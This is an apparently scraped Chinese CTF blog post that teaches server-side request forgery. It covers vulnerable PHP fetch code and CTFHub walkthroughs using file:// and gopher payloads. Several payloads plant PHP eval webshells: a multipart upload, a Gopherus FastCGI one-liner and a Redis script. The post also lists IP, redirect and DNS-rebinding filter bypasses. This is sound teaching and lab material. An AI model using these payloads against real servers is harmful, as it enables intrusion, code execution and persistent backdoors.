SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞
ssrf相关利用
CTF中SSRF的一些trick 了解SSRF,这一篇就足够了
漏洞产生
file_get_contents
1 2 3 4 5 6 7 8 9 10
<?php if (isset($_POST ['url' ])) { $content = file_get_contents($_POST ['url' ]); $filename ='./images/' .rand().'img1.jpg' ; file_put_contents($filename , $content ); echo $_POST ['url' ]; $img = "<img src=\"" .$filename ."\"/>" ; } echo $img ;?>
这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户
fsockopen()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
<?php function GetFile($host ,$port ,$link ) { $fp = fsockopen($host , intval($port ), $errno , $errstr , 30); if (!$fp ) { echo "$errstr (error number $errno ) \n" ; } else { $out = "GET $link HTTP/1.1\r\n" ; $out .= "Host: $host \r\n" ; $out .= "Connection: Close\r\n\r\n" ; $out .= "\r\n" ; fwrite($fp , $out ); $contents ='' ; while (!feof($fp )) { $contents .= fgets($fp , 1024); } fclose($fp ); return $contents ; } } if (isset($_GET ['url' ])){ $host ="localhost" ; $port =80; $link =$_GET ['url' ]; echo GetFile($host ,$port ,$link ); } ?>
这段代码使用 fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据
curl_exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php if (isset($_POST ['url' ])) { $link = $_POST ['url' ]; $curlobj = curl_init(); curl_setopt($curlobj , CURLOPT_POST, 0); curl_setopt($curlobj ,CURLOPT_URL,$link ); curl_setopt($curlobj , CURLOPT_RETURNTRANSFER, 1); $result =curl_exec($curlobj ); curl_close($curlobj ); $filename = './curled/' .rand().'.txt' ; file_put_contents($filename , $result ); echo $result ; } ?>
使用 curl 获取数据
有无回显
SSRF在有无回显方面的利用及其思考与总结
SSRF例题
http/dict/file等协议使用
内网访问
1
?url=http://127.0.0.1/flag.php
伪协议读取文件
无法直接访问得到,用file://伪协议读取
1
?url=file:///var/www/html/flag.php
端口扫描
在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。
这里的端口扫描我们用burpsuite来完成。首先抓包,发送到Intruder进行爆破设置
url直接访问
1
?url=http://127.0.0.1:8657
gopher协议
POST 请求
接着,我们将index.php和flag.php的源码读出来:
python
1 2
/?url=file:///var/www/html/index.php /?url=file:///var/www/html/flag.php
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php error_reporting(0 ); if (!isset ($_REQUEST['url' ])){ header("Location: /?url=_" ); exit ; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url' ]); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 ); curl_exec($ch); curl_close($ch);
flag.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
<?php error_reporting(0 ); if ($_SERVER["REMOTE_ADDR" ] != "127.0.0.1" ) { echo "Just View From 127.0.0.1" ; return ; } $flag=getenv("CTFHUB" ); $key = md5($flag); if (isset ($_POST["key" ]) && $_POST["key" ] == $key) { echo $flag; exit ; } ?> <form action="/flag.php" method="post" > <input type="text" name="key" > <!-- Debug: key=<?php echo $key;?> --> </form>
http访问flag.php
1
?url=http://127.0.0.1/flag.php
右键查看源代码发现key:
1 2 3 4 5
<form action ="/flag.php" method ="post" > <input type ="text" name ="key" > </form >
看来应该是让我们输入这个key进入,从而得到flag,但是这里并没有提交的按钮啊,所以我们要自己构造post请求,将这个key发送过去。
然后,我们用gopher协议构造post请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import urllib.parsepayload =\ """POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=86dee61812c0f9821d07b9b8fdf56790 """ tmp = urllib.parse.quote(payload) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'gopher://127.0.0.1:80/' +'_' +new result = urllib.parse.quote(result) print(result)
注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。
特别要注意Content-Length应为字符串“key=c384d200658f258e5b5c681bf0aa29a8”的长度。
执行该python脚本即可生成符合gopher协议格式的payload:
1
?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D86dee61812c0f9821d07b9b8fdf56790%250D%250A
上传文件
构造如下payload进行ssrf,从目标机本地访问flag.php:
1
/?url=http://127.0.0.1/flag.php
得到一个文件上传的页面,让我们上传一个Webshell。
这题和上一题“POST请求”其实差不多,只不过上一题用POST方法传递key,这道题用POST方法传递的是文件。
接着,我们将index.php和flag.php的源码读出来:
1 2
/?url=file:///var/www/html/index.php /?url=file:///var/www/html/flag.php
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php error_reporting(0 ); if (!isset ($_REQUEST['url' ])) { header("Location: /?url=_" ); exit ; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url' ]); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 ); curl_exec($ch); curl_close($ch);
flag.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
<?php error_reporting(0 ); if ($_SERVER["REMOTE_ADDR" ] != "127.0.0.1" ){ echo "Just View From 127.0.0.1" ; return ; } if (isset ($_FILES["file" ]) && $_FILES["file" ]["size" ] > 0 ){ echo getenv("CTFHUB" ); exit ; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data" > <input type="file" name="file" > </form>
可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤。接下来我们尝试利用gopher协议上传文件。
首先就是要得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(但这里点击提交按钮是得不到flag的,必须从目标机本地访问哦):
可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤。接下来我们尝试利用gopher协议上传文件。
首先就是要得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(但这里点击提交按钮是得不到flag的,必须从目标机本地访问哦):
<input type="submit" name="submit">
随便上传一个非空的文件,然后抓包,修改 Host 主机:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
import urllib.parsepayload =\ """POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------295876417737592404551854917111 Content-Length: 393 Origin: http://challenge-4f1d8144a47b9d33.sandbox.ctfhub.com:10080 Connection: close Referer: http://challenge-4f1d8144a47b9d33.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php Upgrade-Insecure-Requests: 1 -----------------------------295876417737592404551854917111 Content-Disposition: form-data; name="file"; filename="1.gif" Content-Type: image/gif <script language = 'php'>@eval($_POST[cmd]);</script> -----------------------------295876417737592404551854917111 Content-Disposition: form-data; name="submit" æäº¤æ¥è¯¢ -----------------------------295876417737592404551854917111-- """ tmp = urllib.parse.quote(payload) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'gopher://127.0.0.1:80/' +'_' +new result = urllib.parse.quote(result) print(result)
FastCGI协议
FastCGI
维基百科对FastCGI的解释:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。
php-fpm
官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。
php-fpm攻击实现原理
想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理 这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个 SCRIPT_FILENAME’: ‘/var/www/html/index.php 这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On 时,就会在执行php脚本之前包含环境变量auto_prepend_file 所指向的文件内容,php://input 也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
详情请看:https://bbs.ichunqiu.com/thread-58455-1-1.html
接下来,我们使用 Gopherus 工具生成攻击FastCGI的payload。
利用条件:
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径
下面我们就利用这个工具来执行命令,网web目录里面写Webshell:
1 2 3
python gopherus.py --exploit fastcgi /var/www/html/index.php echo PD9waHAgZXZhbCgkX1BPU1RbJ3llMXMnXSk7Pz47 | base64 -d > /var/www/html/shell.php
然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码): 连接shell.php
redis
如上图所示,我们在目标主机的6379端口上发现了Redis的报错,说明目标主机上确实运行着Redis服务,并且端口为其默认端口6379。
利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。
构造redis命令
1 2 3 4 5
flushall set 1 '<?php eval($_POST["ye1s"]);?>' config set dir /var/www/html config set dbfilename shell.php save
我们利用如下Exp脚本生成符合gopher协议格式的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
import urllibprotocol="gopher://" ip="127.0.0.1" port="6379" shell="\n\n<?php eval($_POST[\"ye1s\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format(shell.replace(" " ,"${IFS}" )), "config set dir {}" .format(path), "config set dbfilename {}" .format(filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format(passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr) : CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str(len((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.quote(redis_format(x)) print urllib.quote(payload) ``` 将生成的payload,作为url的值进行访问,用中国蚁剑连接shell.php ftp协议passive模式ssrf攻击php-fpm: https://xiaokou.top/posts/7 a99bc4/ https://ha1c9on.top/2021 /04 /29 /lmb_one_pointer_php/ 说url必须以 “http://notfound.ctfhub.com” 开头。我们可以利用 @ 来绕过,如 http://test@127.0 .0 .1 实际上是以用户名 test 连接到站点127.0 .0 .1 ,即 http://notfound.ctfhub.com@127.0 .0 .1 与 http://127.0 .0 .1 请求是相同的,该请求得到的内容都是127.0 .0 .1 的内容。 ```bash /?url=http://[email protected] /flag.php
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
if (isset ($_GET['url' ])){ $url = parse_url($_GET['url' ]); if (!$url){ die ('解析错误: ' .$_GET['url' ]); } if (substr($_GET['url' ], strlen('http://' ), strlen('google.cn' )) === 'google.cn' ){ die ('怎么回事,小老弟! 绕过不会吗' ); } if ( $url['host' ] === 'google.cn' ){ $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $_GET['url' ]); curl_exec($ch); curl_close($ch); }else { die ('换个请求吧' ); } }
绕过
IP Bypass
过滤了 '/127|172|@|\./'
1.利用进制的转换 可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php $ip = '127.0.0.1' ; $ip = explode('.' ,$ip); $r = ($ip[0 ] << 24 ) | ($ip[1 ] << 16 ) | ($ip[2 ] << 8 ) | $ip[3 ] ; if ($r < 0 ) { $r += 4294967296 ; } echo "十进制:" ;echo $r;echo "八进制:" ;echo decoct($r);echo "十六进制:" ;echo dechex($r);?>
得到:
1 2 3 4
127.0 .0 .1 :八进制:0177.0 .0 .1 十六进制:0x7f .0 .0 .1 十进制:2130706433
2.利用其他各种指向127.0.0.1的地址
1 2 3 4
http://localhost/ http://0/ http://[0:0:0:0:0:ffff:127.0.0.1]/ http://①②⑦.⓪.⓪.①
可以
1
?url=http://2130706433/flag.php
302跳转 Bypass
在网络上存在一个很神奇的服务,网址为 http://xip.io
,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问 http://127.0.0.1.xip.io/flag.php
,那么实际上访问的是就 http://127.0.0.1/flag.php
。 最后payload
1
?url=http://0.xip.io/flag.php
或者短地址跳转
DNS重绑定 Bypass
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤 对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
1 2 3 4
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP (2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证 (3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。 (4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果
由于我们无法在程序运行时以毫秒为单位手动更改dns记录,因此需要配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存。我们可以自己编写解析服务,也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html
但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到我想要的结果。
我们利用该域名即可绕过限制成功访问flag.php得到flag,但是要不停访问数次才行(可以借助burpsuite):
/?url=7f000001.2f653948.rbndr.us/flag.php
file://限制
得知有srrf漏洞,file://协议被过滤了,用发现file协议被过滤了,我们可以尝试绕过:file:/、file:<空格>///
1 2
?url=file:/var /www/html/index.php ?url=file:%20
参考文章:
https://whoamianony.top/2020/12/06/web-an-quan/wo-zai-ctfhub-xue-xi-ssrf/ SSRF 服务端请求伪造 https://ctf-wiki.github.io/ctf-wiki/web/ssrf/ SSRF漏洞的利用与学习 https://uknowsec.cn/posts/notes/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html
FROM :blog.cfyqy.com | Author:cfyqy
评论